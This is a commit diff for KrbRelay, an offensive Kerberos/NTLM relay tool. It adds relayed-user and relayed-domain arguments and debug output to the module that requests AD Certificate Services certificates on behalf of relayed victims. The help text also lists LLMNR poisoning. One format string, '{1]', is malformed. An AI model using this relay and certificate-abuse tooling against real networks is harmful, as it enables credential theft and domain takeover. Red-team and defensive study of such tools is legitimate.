Skip to content

Commit 32137d9

Browse files
author
Andrea Pierini
committed
added relayed user/domain arg switch
1 parent 21c64bf commit 32137d9

3 files changed

Lines changed: 13 additions & 3 deletions

File tree

KrbRelay/Clients/Attacks/Http/ADCS.cs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ public static void requestCertificate(HttpClient httpClient, string user, string
4343
};
4444

4545
var subject = new X509Name(cert_attribs.Keys.ToList(), cert_attribs);
46-
46+
Console.WriteLine("[*] Subject: {0}", subject.ToString());
4747
// generate the CSR
4848
var pkcs10CertificationRequest = new Pkcs10CertificationRequest(PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, subject, keyPair.Public, null, keyPair.Private);
4949
var csr = Convert.ToBase64String(pkcs10CertificationRequest.GetEncoded());

KrbRelay/Clients/Http.cs

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,7 @@ public static void Connect()
5757

5858
if (attacks.Keys.Contains("adcs"))
5959
{
60-
//Console.WriteLine("Relayed user:{0}{1}", relayedUser, relayedUserDomain);
60+
6161
Attacks.Http.ADCS.requestCertificate(httpClient, relayedUser, relayedUserDomain, attacks["adcs"]);
6262
}
6363

@@ -87,7 +87,7 @@ public static void Connect()
8787
{
8888
string headerValue = header.Value.First().Replace("Negotiate ", "").Trim();
8989
if (headerValue.Length < 10) {
90-
Console.WriteLine("[-] No WWW-Authenticate header returned, status code: {0}", result.StatusCode);
90+
Console.WriteLine("[-] No WWW-Authenticate header returned, status code: {0} {1] {2}", result.StatusCode, headerValue.Length, headerValue);
9191
Environment.Exit(0);
9292
}
9393
else if (Program.ntlm)

KrbRelay/Program.cs

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -421,6 +421,7 @@ private static void ShowHelp()
421421
Console.WriteLine("-session ID for cross-session marshalling");
422422
Console.WriteLine("-port COM listener port");
423423
Console.WriteLine("-llmnr LLMNR poisoning");
424+
424425
}
425426

426427
public static bool checkPort(int port, string name = "SYSTEM")
@@ -848,6 +849,14 @@ public static void Main(string[] args)
848849
clsid = args[entry.index + 1];
849850
break;
850851

852+
case "-RELAYEDUSER":
853+
case "/RELAYEDUSER":
854+
relayedUser = args[entry.index + 1];
855+
break;
856+
case "-RELAYEDUSERDOMAIN":
857+
case "/RELAYEDUSERDOMAIN":
858+
relayedUserDomain = args[entry.index + 1];
859+
break;
851860
case "-SESSION":
852861
case "/SESSION":
853862
sessionID = Int32.Parse(args[entry.index + 1]);
@@ -888,6 +897,7 @@ public static void Main(string[] args)
888897
domain = string.Join(".", d);
889898

890899
string[] dd = spn.Split('/').Skip(1).ToArray();
900+
891901
targetFQDN = string.Join(".", dd);
892902

893903
}

0 commit comments

Comments
 (0)